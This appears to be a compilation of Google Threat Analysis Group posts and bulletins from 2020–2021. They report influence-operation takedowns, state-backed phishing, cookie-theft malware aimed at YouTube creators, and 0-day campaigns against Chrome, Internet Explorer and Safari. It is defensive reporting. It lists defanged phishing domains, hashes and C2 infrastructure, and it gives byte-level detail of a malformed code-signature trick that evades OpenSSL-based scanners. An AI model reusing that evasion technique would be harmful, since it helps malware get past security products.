This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian critical of the Ukrainian government.
We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.
The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.
We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Arabic about current events in the Middle East and North Africa.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.
This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.
The campaign targeted the Central African Republic and Mali.
This campaign was consistent with similar findings reported by Facebook.
We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.
We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.
A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S. We received leads from Graphika and Fireye that supported us in this investigation.
These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.
Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.
As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.
In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.
We haven’t seen any evidence of such attempts being successful.
The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.
As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.
One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.
The malware was a python-based implant using Dropbox for command and control.
It would allow the attacker to upload and download files as well as execute arbitrary commands.
Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.
In one example, attackers impersonated McAfee.
The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.
When we detect that a user is the target of a government-backed attack, we send them a prominent warning.
In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.
This targeting is consistent with what others have subsequently reported.
Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.
U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.
This has resulted in action on our platforms, as well as others.
Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.
We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).
To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.
Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.
This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.
A small fraction of these spam channels will then post videos about current events.
Such videos frequently feature clumsy translations and computer-generated voices.
Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).
As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.
In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.
This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.
In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.
One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.
In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.
In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.
While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.
For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.
Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.
Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.
It was last updated on October 16, 2020.
We terminated 1 advertising account and 7 YouTube channels as part of our actions against a coordinated influence operation linked to Ecuador.
The campaign was linked to the PR firm Estraterra, and posted content in Spanish about former Ecuador government employees.
These findings are consistent with similar findings reported by Facebook.
We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese about COVID-19 and current events in Hong Kong.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
We terminated 1,846 YouTube channels and 5 blogs as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A small subset of the channels uploaded content in English about current events in Hong Kong and the U.S. response to COVID-19.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.
This domestic campaign posted content in Arabic in support of the Yemeni government.
This campaign was consistent with similar findings reported by Facebook.
We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was linked to a U.S.-based PR firm, CLS Strategies, and posted content in Spanish about Mexican elections.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in English and Chinese about music, entertainment, and lifestyle.
A small subset of the channels uploaded content in English about current events in the U.S. and the U.S. response to COVID-19.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 of 2020.
It was last updated on August 5, 2020.
We terminated 16 YouTube channels, 1 advertising account and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Iran.
The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and posted content in Arabic related to the U.S. response to COVID-19 and content about Saudi-American relations.
We received leads from FireEye and Graphika that supported us in this investigation.
We terminated 15 YouTube channels and 3 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.
The campaign posted content in English and Russian about the EU, Lithuania, Ukraine, and the U.S., similar to the findings in a recent Graphika report called Secondary Infektion.
We received leads from Graphika that supported us in this investigation.
We terminated 7 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
The campaign posted content in Russian, German, and Farsi about Russian and Syrian politics and the U.S. response to COVID-19.
This campaign was consistent with similar findings reported by Facebook.
We terminated 186 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy, non-political content, but a small subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to the U.S. response to COVID-19.
We terminated 1,098 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy, non-political content, but a small subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to the U.S. response to COVID-19.
We received leads from Graphika that supported us in this investigation.
We terminated 47 YouTube channels and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Russia.
The campaign posted content in a coordinated manner primarily in Russian about domestic Russian and international policy issues.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1,312 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy, non-political content, but a subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to racial justice protests in the U.S.
This campaign was consistent with similar findings reported by Twitter.
We terminated 17 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
The campaign posted comments in Russian in a coordinated manner under a small set of Russian language videos.
This campaign was consistent with similar findings reported by Twitter.
We banned 3 Play Developers and terminated 1 advertising account as part of our actions against a coordinated influence operation.
The campaign was posting news content in English and French, targeting audiences in Africa.
We found evidence of this campaign being tied to the PR company Ureputation based in Tunisia.
This campaign was consistent with similar findings reported by Facebook.
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.
This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.
We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.
On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
This means that there is typically more than one threat actor behind the warnings.
In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.
This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.
For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.
In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.
Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.
Users were instructed to activate an invitation to a (fake) webinar by logging in.
The phishing kit will also ask for second-factor authentication codes sent to devices.
APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.
Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.
In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.
The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.
Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.
Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.
One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.
Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.
When they did, attackers sent them phishing links in follow-on correspondence.
Targets typically had to navigate through at least one redirect before landing on a phishing domain.
Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.
We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.
Services from Dropbox and Microsoft are also abused.
One of APT35’s novel techniques involves using Telegram for operator notifications.
The attackers embed javascript into phishing pages that notify them when the page has been loaded.
To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.
The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.
We reported the bot to Telegram and they have taken action to remove it.
We warn users when we suspect a government-backed threat like APT35 is targeting them.
Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.
If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.
Workspace administrators are also notified regarding targeted accounts in their domain.
Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.
We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.
When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.
When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.
Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.
Indicators from APT28 phishing campaign:
service-reset-password-moderate-digital.rf[.
]gd
reset-service-identity-mail.42web[.
]io
digital-email-software.great-site[.
]net
Indicators from APT35 campaigns:
Abused Google Properties:
https://sites.google[.
]com/view/ty85yt8tg8-download-rtih4ithr/
https://sites.google[.
]com/view/user-id-568245/
https://sites.google[.
]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/
Abused Dropbox Properties:
https://www.dropbox[.
]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains:
nco2[.
]live
summit-files[.
]com
filetransfer[.
]club
continuetogo[.
]me
accessverification[.
]online
customers-verification-identifier[.
]site
service-activity-session[.
]online
identifier-service-review[.
]site
recovery-activity-identification[.
]site
review-session-confirmation[.
]site
recovery-service-activity[.
]site
verify-service-activity[.
]site
service-manager-notifications[.
]info
Android App:
https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection
Android App C2:
communication-shield[.
]site
cdsa[.
]xyz
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Understanding the techniques used by attackers helps us counter these threats effectively.
This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.
Attackers often rely on varying behaviors between different systems to gain access.
For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.
In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.
We believe this is a technique the attacker is using to evade detection rules.
Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.
Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.
OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.
The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.
Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.
Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.
In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.
EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).
Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00
Decodes to the following elements:
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1)
EOC
Security products using OpenSSL to extract signature information will reject this encoding as invalid.
However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.
This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.
As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.
This issue has been reported to Microsoft.
Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.
The following are samples using this evasion:
https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection
New variant:
https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection
Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.
Users are encouraged to only download and install software from reputable and trustworthy sources.
Zero-day vulnerabilities are unknown software flaws.
Until they’re identified and fixed, they can be exploited by attackers.
Google’s Threat Analysis Group (TAG) actively works to detect hacking attempts and influence operations to protect users from digital attacks, this includes hunting for these types of vulnerabilities because they can be particularly dangerous when exploited and have a high rate of success.
In this blog, we’re sharing details about four in-the-wild 0-day campaigns targeting four separate vulnerabilities we’ve discovered so far this year:
CVE-2021-21166 and CVE-2021-30551 in Chrome,
CVE-2021-33742 in Internet Explorer, and
CVE-2021-1879 in WebKit (Safari).
The four exploits were used as a part of three different campaigns.
As is our policy, after discovering these 0-days, we quickly reported to the vendor and patches were released to users to protect them from these attacks.
We assess three of these exploits were developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors.
Google has also published root cause analyses (RCAs) on each of the 0-days.
In addition to the technical details, we’ll also provide our take on the large uptick of in-the-wild 0-day attacks the industry is seeing this year.
Halfway into 2021, there have been 33 0-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020.
While there is an increase in the number of 0-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.
Over the past several months, we have discovered two Chrome renderer remote code execution 0-day exploits, CVE-2021-21166 and ​​CVE-2021-30551, which we believe to be used by the same actor.
CVE-2021-21166 was discovered in February 2021 while running Chrome 88.0.4323.182 and CVE-2021-30551 was discovered in June 2021 while running Chrome 91.0.4472.77.
Both of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia.
The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.
When a target clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client and generate ECDH keys to encrypt the exploits, and then send this data back to the exploit server.
The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.
This information was collected by the attackers to decide whether or not an exploit should be delivered to the target.
Using appropriate configurations, we were able to recover two 0-day exploits (CVE-2021-21166 & CVE-2021-30551), which were targeting the latest versions of Chrome on Windows at the time of delivery.
After the renderer is compromised, an intermediary stage is executed to gather more information about the infected device including OS build version, CPU, firmware and BIOS information.
This is likely collected in an attempt to detect virtual machines and deliver a tailored sandbox escape to the target.
In our environment, we did not receive any payloads past this stage.
While analyzing CVE-2021-21166 we realized the vulnerability was also in code shared with WebKit and therefore Safari was also vulnerable.
Apple fixed the issue as CVE-2021-1844.
We do not have any evidence that this vulnerability was used to target Safari users.
Related IOCs
lragir[.
]org
armradio[.
]org
asbares[.
]com
armtimes[.
]net
armlur[.
]org
armenpress[.
]org
hraparak[.
]org
armtimes[.
]org
hetq[.
]org
Despite Microsoft announcing the retirement of Internet Explorer 11, planned for June 2022, attackers continue to develop creative ways to load malicious content inside Internet Explorer engines to exploit vulnerabilities.
For example, earlier this year, North Korean attackers distributed MHT files embedding an exploit for CVE-2021-26411.
These files are automatically opened in Internet Explorer when they are double clicked by the user.
In April 2021, TAG discovered a campaign targeting Armenian users with malicious Office documents that loaded web content within Internet Explorer.
This happened by either embedding a remote ActiveX object using a Shell.
Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page.
At the time, we were unable to recover the next stage payload, but successfully recovered the exploit after an early June campaign from the same actors.
After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.
This vulnerability was assigned CVE-2021-33742 and fixed by Microsoft in June 2021.
The exploit loaded an intermediary stage similar to the one used in the Chrome exploits.
We did not recover additional payloads in our environment.
During our investigation we discovered several documents uploaded to VirusTotal.
Based on our analysis, we assess that the Chrome and Internet Explorer exploits described here were developed and sold by the same vendor providing surveillance capabilities to customers around the world.
On July 15, 2021 Citizen Lab published a report tying the activity to spyware vendor Candiru.
Related IOCs
Examples of related Office documents uploaded to VirusTotal:
https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection
https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection
Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit:
http://lioiamcount[.
]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1
http://db-control-uplink[.
]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB
http://kidone[.
]xyz/VvE0yYArmvhyTl/GzV
Word documents with the following classid:
{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}
Related infrastructure:
workaj[.
]com
wordzmncount[.
]com
Not all attacks require chaining multiple 0-day exploits to be successful.
A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.
(NOTE: This exploit is not connected to the other three we’ve discussed above.)
In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.
If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.
The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.
After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.
This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.
The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.
There was no sandbox escape or implant delivered via this exploit.
The exploit targeted iOS versions 12.4 through 13.7.
This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.
Related IOCs
supportcdn.web[.
]app
vegmobile[.
]com
111.90.146[.
]198
There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.
The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.
Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild:
Increase in detection & disclosure
This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.
When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.
In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.
It’s also possible that more people are focusing on discovering 0-days in-the-wild and/or reporting the 0-days that they found in the wild.
Increased Utilization
There is also the possibility that attackers are using more 0-day exploits.
There are a few reasons why this is likely:
Over the last decade, we believe there has been an increase in attackers using 0-day exploits.
Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  reflects increased cost to the attackers from security measures that close known vulnerabilities.
However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.
0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.
In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.
No longer do groups need to have the technical expertise, now they just need resources.
Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.
Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.
Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.
It was last updated on July 29, 2021.
JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.
Our findings are similar to findings reported by Facebook.
We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.
This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.
Our findings are similar to findings reported by Facebook.
We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.
We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.
This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.
Our findings are similar to findings reported by Facebook.
We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.
This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.
Our findings are similar to findings reported by Facebook.
We received leads from Graphika that supported us in this investigation.
We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.
We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.
This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.
We received leads from Graphika that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.
This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.
These findings are consistent with our previous reports.
We received leads from FireEye and Graphika that supported us in this investigation.
We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.
Our findings are similar to findings reported by Facebook.
We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.
This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.
Our findings are similar to findings reported by Facebook.
